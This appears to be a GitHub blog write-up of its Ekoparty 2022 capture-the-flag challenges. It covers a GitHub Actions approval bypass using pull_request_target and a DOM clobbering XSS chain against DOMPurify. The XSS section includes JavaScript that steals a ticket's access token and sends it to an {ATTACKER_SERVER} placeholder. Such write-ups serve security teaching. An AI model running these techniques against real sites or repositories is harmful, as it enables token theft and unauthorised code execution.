GitHub and the Ekoparty 2022 Capture the Flag

Learn about the design behind, and solutions to, several of GitHub’s CTF challenge for Ekoparty’s 2022 event!

|
| 10 minutes

As a sponsor of Ekoparty 2022, GitHub had the privilege of submitting several challenges to the event’s Capture The Flag (CTF) competition. Hubbers from across the company came together to brainstorm, plan, build, and test these challenges over a few weeks to try and create a compelling, and challenging, series of problems for players to solve.

Stage 1: Classroom

The first stage of our CTF challenge was presented to players in the form of an “admissions test” to join the fictitious “Octoversity” and attend classes. Players were given access to a repository that contained a course syllabus, some password protected PDF materials, and a problem they’d need to solve in order to gain admission to the university (and the other stages of the challenge).

The challenge

Keen-eyed players would spot instructions stating that they would need to solve an intro.py exercise. This consisted of the following code:


import binascii import math YourFirst = "lesson" t = int.from_bytes(YourFirst.encode(), byteorder='little') for i in range(0,29): m = t % 23 t*=m if m>2 else 2 for i in range(0,1024): m = i % 27 t-= pow(m,m) if m>0 else m*m for i in range(0,32062): m = i % 23 t-= pow(m,25) if m>0 else m*m for i in range(0,43052): m = i % 19 t+= pow(m,24) if m>0 else m*m for i in range(0,36582): m = i % 13 t+= pow(m,24) if m>0 else m*m for i in range(0,813): m = i % 11 t-= pow(m,24) if m>0 else m*m for i in range(0,554772): m = i % 7 t-= pow(m,24) if m>0 else m*m for i in range(0,789): m = i % 5 t+= pow(m,24) if m>0 else m*m for i in range(0,3753): m = i % 4 t+= pow(m,24) if m>0 else m*m for i in range(0,5711): m = i % 3 t-= pow(m,24) if m>0 else m*m for i in range(0,101234): t-= 128 t += 328 p = 3562927236051182334153575355087347127407987755959461320351305838619130268209476696833779953363710389416751 print(f'To access the course:\n "https://" + DECODE({hex(p)[2:]}) + "/{hex(t)[2:]}"')

The objective for players was to figure out how to turn this into a functional URL.

Solution

As this was an introductory challenge, we wanted this to be quite straightforward. The solution to this was simply to decode the provided hex-encoded string p.

For example, this could be accomplished using CyberChef:

image

This would provide a resulting URL of https://classroom.github.com/assignment-invitations/25a94104e34a852f3af0a8a53d734fad which would lead players to the next stage of the challenge.

Stage 2: Approval

The second stage of our challenges was focused around abusing misconfigured GitHub Actions security settings in order to bypass Branch Protection rules and gain access to secrets protected by Environment Protection rules. This also focused on the use of pull_request_target and its ability to run untrusted code in the context of a sensitive environment.

Players were prompted to sign up for the challenge through a GitHub issue, which would then trigger a workflow creating a private repository for them containing the challenge setup. This was done so that players would have a largely authentic experience of having write access to a repository, while also being able to keep their solutions private.

As the entire configuration for the repository was based on a template, players were all given exactly the same tools to work with, and the security configurations were available transparently as part of the workflow. In short, the repository contained a secret only accessible to a specific environment, and that environment had protection rules only permitting code from a specific branch to run in it. In addition, branch protection rules were configured requiring one additional approver for any pull requests in order to get code onto the protected branch.

The main workflow that players were attempting to exploit was as follows:


name: Grade the Pull Request on: workflow_run: workflows: ["PR Management"] types: - completed pull_request_target: branches: - main jobs: build: runs-on: ubuntu-latest environment: CTF steps: - name: Checkout head branch of PR uses: actions/checkout@v3 with: ref: ${{ github.event.pull_request.head.ref }} repository: ${{ github.event.pull_request.head.repo.full_name }} - name: Checkout main branch of this repo uses: actions/checkout@v3 with: ref: main path: ./grading - uses: ruby/setup-ruby@v1 with: ruby-version: 3.0.0 - name: Grade the Pull Request run: | gem install octokit ruby grading/script/grading.rb env: FLAG: ${{ secrets.FLAG }}

Specifically, this would run a script in another directory of the repository and expose the flag as an environment variable (giving the players the name of the secret they need to retrieve).

The relevant linked workflow (PR Management) would automatically close and delete branches that did not target the main branch:


name: PR Management on: pull_request_target: types: [opened] branches-ignore: - 'main' jobs: close_pr: runs-on: ubuntu-latest steps: - uses: superbrothers/close-pull-request@v3 with: comment: "Pull Requests are only accepted against the `main` branch." cleanup_branch: runs-on: ubuntu-latest name: Delete non-grading branches steps: - name: Delete those pesky dead branches uses: phpdocker-io/github-actions-delete-abandoned-branches@v1 id: delete_branches with: github_token: ${{ github.token }} last_commit_age_days: -1 ignore_branches: main,grading dry_run: no

The trick here of course is that the script that would expose the flag (grading.rb) didn’t actually expose it, and players didn’t have write access to the main branch to change that , but maybe there’s a way to “exploit” it?

The originally planned solution

When we were designing this challenge, the goal was for players to exploit the grading.rb script’s YAML.load implementation since it would accept player-controlled content that could lead to RCE. Unfortunately, this basic setup was somewhat trivial to bypass as you could just run a workflow from another branch and leak the secret directly. That gave us another idea, which led to the use of an environment and protection rules around it.

The solution

The premise of the challenge, noted above, was that players needed to find a way to get a pull request approved so that their code could be merged into the main branch of the repository and be able to run in the CTF protected environment that contained the stage’s flag.

Final “exploitation” of this (leaking the flag) could take several forms, including the YAML.load vulnerability noted above; however, getting code there in the first place was the real focus. In short, players had to do the following:

  • Create a new branch (for example, player_branch)
  • Delete the existing workflows on player_branch

  • Create their own workflow on player_branch that would perform whatever action they wanted (for example, leaking the flag)

  • Open a pull request from player_branch to main

  • Create another branch (for example, approval_branch)

  • Delete the existing workflows on approval_branch

  • Create a new workflow on approval_branch that would approve the pull request they had created, and trigger it

This was predicated on the administrators (us) having not enabled a setting that prevents GitHub Actions from creating or approving pull requests. From here, retrieving the flag was trivial.

Notes

It was identified from discussions with players that the environment protection rules functionality this challenge relied on may have actually been overly restrictive. Through further investigation with GitHub Engineering, it was noted that the use of environment protection rules should not actually prevent access to secrets from other branches in the same repository. This bug is pending resolution; however, in the future the current form of this challenge will not be reproducible.

There were also some alternative solutions identified by players that focused on fork-based workflows which were also enabled by the use of pull_request_target. You can read more on our recommended caution around using pull_request_target in this article.

Stage 3: FreeDOM

This stage tries to emulate a ticketing system that “Octoversity” teachers would use to request technical help from system administrators. At this point, players would have already solved the previous two stages of the challenge, and be well positioned as students of “Octoversity” ready to further their exploitation of the university’s systems!

The challenge

This was running a Flask app, with a paired Selenium bot that would evaluate player-submitted content and perform various actions as a result. The goal here was for players to find a way to exploit the (intentionally) vulnerable site and abuse the way DOMPurify‘s configuration was being fetched to allow their own malicious content through.

Solution

In order to identify our objective, we can see that there’s a ticket being created for the user Jordi with a very suspicious content. Since there is no other suspicious place in the webapp, we can focus on trying to leak the contents of the ticket.


ticket = Ticket(👍 id=uuid4().hex, from_id=2, content=f"<h4>Hi team!\nI'm having some issues with the authentication API, can you check if this PAT works for you?\nThanks in advance!\nPAT: {os.environ.get('FINAL_EXAM_PAT', 'A cool PAT')}</h4>" )

However, ticket contents can only be accessed by the user who created it or the administrator:

@app.route("/api/ticket/<ticket_id>", methods=["GET"])
@login_required
def api_profile(ticket_id):
    ticket = Ticket.query.filter_by(id=ticket_id).first()

    if ticket:
        if ticket.from_id == g.user.id or g.user.id == 1:
            return jsonify(content=ticket.content)
    else:
        jsonify(error="You are not allowed to see this ticket")

So, we would need to impersonate either Jordi or the administrator to get the ticket contents. We can use the reporting process to impersonate the administrator:


@app.route("/api/ticket/<ticket_id>/report", methods=["GET"]) @login_required def api_ticket_report(ticket_id): ticket = Ticket.query.filter_by(id=ticket_id).first() if ticket: if ticket.from_id == g.user.id: cli.set(request.remote_addr, ticket_id) return jsonify(success="An agent will review your report soon") else: return jsonify(error="You are not allowed to see this ticket")

After a report, the administrator will log into the system and visit the reported ticket:

driver.get("/signin")

WebDriverWait(driver, 10).until(
    ec.element_to_be_clickable((By.ID, "usernameInput")))
driver.find_element("id", "usernameInput").send_keys(
    os.environ.get("ADMIN_BOT_USER"))
driver.find_element("id", "passwordInput").send_keys(
    os.environ.get("ADMIN_BOT_PASSWORD"))
driver.find_element("id", "submitButton").click()
driver.get("/ticket/{ticket_id}")

sleep(os.environ.get("BROWSER_SLEEP"))

But we can’t control the URL the bot will visit, nor the actions after visiting a ticket. Let’s see how tickets are rendered:

<!-- TODO: Improve ticket rendering and add button to report to an agent -->
<div id="about"></div>
<div id="ticket"></div>

<script>
    const getDOMPurifyConfig = async (url) => {
        const response = await getJSONfromURL(url)
        return response.configuration
    }
    const sanitize = async (unsafe_html) => {
        const configuration = await getDOMPurifyConfig(window.DOMPurifyConfigURL || "/api/dompurify_config")
        return DOMPurify.sanitize(unsafe_html, configuration)
    }

    const main = async () => {
        // get about from user
        const user = await getJSONfromURL('/api/profile/{{ user.id }}')
        document.getElementById("about").innerHTML = await sanitize(user.about)

        // get ticket contents
        const ticket = await getJSONfromURL('/api/ticket/{{ ticket_id }}')
        document.getElementById("ticket").innerHTML = await sanitize(ticket.content)
    }

    main()
</script>

The script will look for the about section of the ticket’s user, sanitize it, and add it as raw HTML into the div with id=about. The same will be done for the ticket content.

However, you may have noticed that the sanitize function is a bit weird. It tries to fetch a DOMPurify configuration from an undefined window.DOMPurifyConfigURL variable, or will fall back to /api/dompurify_config.

The ticketing system is providing an empty configuration for that endpoint:

# Note to researchers, default configuration is enough to prevent XSS attacks
@app.route("/api/dompurify_config", methods=["GET"])
def dompurify_config():
    return jsonify(configuration={})

However, this is still suspicious. We all know DOMPurify to be our best friend to protect against XSS inputs, but this sanitization is being done in two iterations, so, what can we do to the DOM in the first iteration to impact the second?

Since we cannot introduce direct XSS inputs, we have to clobber the DOM in order for the second iteration to use the value of window.DOMPurifyConfigURL and not fall back to /api/dompurify_config.

If we introduce an element with an id, window will be able to reference that element as if the id were a property of itself. We can do so adding a simple <a id="DOMPurifyConfigURL" href="{ATTACKER_SERVER}/configuration"/> to the DOM. Note that the a element is quite interesting here, since its string representation is its href property.

After controlling the configuration used by the second sanitization, we can return a configuration, such as "ADD_ATTR": ["onerror"] in order to make DOMPurify to allow inputs such as <img onerror='js-here' src='x'> where x is the route to an image that does not exist, so the onerror handler will be triggered.

Now that we know how to impersonate the administrator, we can leak the ticket, but it won’t be completely straightforward. As you can see, ticket ids are not guessable (uuid4().hex), so we’d need to leak that first.

Ticket ids are displayed in the profile of each user through the /profile/<int:user_id> endpoint:

{% if tickets %}
<div class="list-group">
    {% for ticket in tickets -%}
    <a id="ticket" href="/ticket/{{ ticket.id }}" class="list-group-item list-group-item-action">{{ticket.id }}</a>
    {% endfor %}
</div>
{% endif %}

So, since the user Jordi is created right after the administrator, we know its ID will be 2.

r = await fetch('/profile/2');
text = await r.text();

const parser = new DOMParser();
const doc = parser.parseFromString(text, 'text/html');
const ticket_id = doc.getElementById("ticket").href.split("/")[4];

We can now use ticket_id to get the contents of the ticket and leak it to our server:

r = await fetch('/api/ticket/' + ticket_id);
json = await r.json();

await fetch('{ATTACKER_SERVER}/leak?foo=' + encodeURIComponent(JSON.stringify(json)));
ImmutableMultiDict([('foo', '{"content":"<h4>Hi team!\\nI\'m having some issues with the authentication API, can you check if this PAT works for you?\\nThanks in advance!\\nPAT: <PAT_HERE></h4>"}')])

With this PAT we can continue to the next stage.

Stage 4: Free Ride

The final stage of our challenge was focused on reverse engineering and binary exploitation. No players at the event solved this, and due to the stage-based nature of our challenge only a limited number of players accessed it. We’ll likely see this challenge resurface in a future event!

Wrap-up

It was equal parts terrifying and thrilling to watch players attempt, and solve, our challenges! We look forward to building out more challenges to share with you all in future events!


Resources

Related posts